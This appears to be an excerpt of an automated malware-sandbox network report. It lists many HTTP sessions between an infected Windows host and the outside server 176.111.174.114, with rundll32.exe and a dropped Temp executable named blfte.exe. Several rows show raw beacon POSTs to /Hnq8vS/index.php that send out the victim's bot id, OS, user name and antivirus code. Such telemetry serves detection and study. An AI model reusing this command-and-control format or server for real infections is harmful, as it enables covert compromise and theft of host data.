1101	176.111.174.114	80	192.168.2.5	50380	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1102	192.168.2.5	50381	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1103	192.168.2.5	50382	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1104	176.111.174.114	80	192.168.2.5	50381	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1105	192.168.2.5	50383	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1106	176.111.174.114	80	192.168.2.5	50383	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1107	176.111.174.114	80	192.168.2.5	50382	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1108	192.168.2.5	50385	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1109	176.111.174.114	80	192.168.2.5	50385	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	176.111.174.114	80	192.168.2.5	49773	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.296974897 CEST	1891	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1110	192.168.2.5	50386	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1111	176.111.174.114	80	192.168.2.5	50386	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1112	192.168.2.5	50387	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1113	176.111.174.114	80	192.168.2.5	50387	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1114	192.168.2.5	50389	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1115	176.111.174.114	80	192.168.2.5	50389	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1116	192.168.2.5	50390	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1117	176.111.174.114	80	192.168.2.5	50390	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1118	192.168.2.5	50391	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1119	176.111.174.114	80	192.168.2.5	50391	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49774	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.518136978 CEST	1892	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1120	192.168.2.5	50392	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1121	176.111.174.114	80	192.168.2.5	50392	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1122	192.168.2.5	50393	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1123	192.168.2.5	50394	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1124	176.111.174.114	80	192.168.2.5	50394	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1125	192.168.2.5	50395	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1126	176.111.174.114	80	192.168.2.5	50393	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1127	176.111.174.114	80	192.168.2.5	50395	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1128	192.168.2.5	50397	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1129	176.111.174.114	80	192.168.2.5	50397	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	176.111.174.114	80	192.168.2.5	49774	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.620518923 CEST	1892	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1130	192.168.2.5	50398	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1131	176.111.174.114	80	192.168.2.5	50398	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1132	192.168.2.5	50399	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1133	176.111.174.114	80	192.168.2.5	50399	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1134	192.168.2.5	50401	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1135	176.111.174.114	80	192.168.2.5	50401	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1136	192.168.2.5	50402	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1137	176.111.174.114	80	192.168.2.5	50402	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1138	192.168.2.5	50403	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1139	176.111.174.114	80	192.168.2.5	50403	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49775	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.837671995 CEST	1893	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1140	192.168.2.5	50404	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1141	176.111.174.114	80	192.168.2.5	50404	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1142	192.168.2.5	50405	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1143	192.168.2.5	50406	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1144	176.111.174.114	80	192.168.2.5	50406	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1145	176.111.174.114	80	192.168.2.5	50405	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1146	192.168.2.5	50407	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1147	176.111.174.114	80	192.168.2.5	50407	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1148	192.168.2.5	50409	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1149	176.111.174.114	80	192.168.2.5	50409	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	176.111.174.114	80	192.168.2.5	49775	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.942796946 CEST	1893	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1150	192.168.2.5	50410	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1151	176.111.174.114	80	192.168.2.5	50410	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1152	192.168.2.5	50412	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1153	176.111.174.114	80	192.168.2.5	50412	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1154	192.168.2.5	50413	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1155	176.111.174.114	80	192.168.2.5	50413	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1156	192.168.2.5	50414	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1157	192.168.2.5	50415	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1158	176.111.174.114	80	192.168.2.5	50415	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1159	176.111.174.114	80	192.168.2.5	50414	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49776	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.149847031 CEST	1894	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1160	192.168.2.5	50416	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1161	176.111.174.114	80	192.168.2.5	50416	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1162	192.168.2.5	50418	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1163	176.111.174.114	80	192.168.2.5	50418	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1164	192.168.2.5	50419	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1165	176.111.174.114	80	192.168.2.5	50419	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1166	192.168.2.5	50420	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1167	176.111.174.114	80	192.168.2.5	50420	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1168	192.168.2.5	50422	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1169	176.111.174.114	80	192.168.2.5	50422	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	176.111.174.114	80	192.168.2.5	49776	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.253010988 CEST	1895	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1170	192.168.2.5	50423	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1171	176.111.174.114	80	192.168.2.5	50423	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1172	192.168.2.5	50424	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1173	176.111.174.114	80	192.168.2.5	50424	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1174	192.168.2.5	50425	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1175	176.111.174.114	80	192.168.2.5	50425	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1176	192.168.2.5	50426	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1177	192.168.2.5	50427	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1178	176.111.174.114	80	192.168.2.5	50427	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1179	176.111.174.114	80	192.168.2.5	50426	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49777	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.468123913 CEST	1895	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1180	192.168.2.5	50428	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1181	176.111.174.114	80	192.168.2.5	50428	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1182	192.168.2.5	50430	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1183	176.111.174.114	80	192.168.2.5	50430	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1184	192.168.2.5	50431	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1185	176.111.174.114	80	192.168.2.5	50431	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1186	192.168.2.5	50432	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1187	176.111.174.114	80	192.168.2.5	50432	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1188	192.168.2.5	50434	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1189	176.111.174.114	80	192.168.2.5	50434	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	176.111.174.114	80	192.168.2.5	49777	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.574029922 CEST	1896	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1190	192.168.2.5	50435	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1191	176.111.174.114	80	192.168.2.5	50435	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1192	192.168.2.5	50436	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1193	176.111.174.114	80	192.168.2.5	50436	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1194	192.168.2.5	50437	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1195	192.168.2.5	50438	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1196	176.111.174.114	80	192.168.2.5	50437	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1197	192.168.2.5	50439	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1198	176.111.174.114	80	192.168.2.5	50439	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1199	176.111.174.114	80	192.168.2.5	50438	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49717	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.800632954 CEST	1569	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49778	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:41.786973953 CEST	1896	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1200	192.168.2.5	50441	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1201	176.111.174.114	80	192.168.2.5	50441	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1202	192.168.2.5	50442	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1203	176.111.174.114	80	192.168.2.5	50442	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1204	192.168.2.5	50443	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

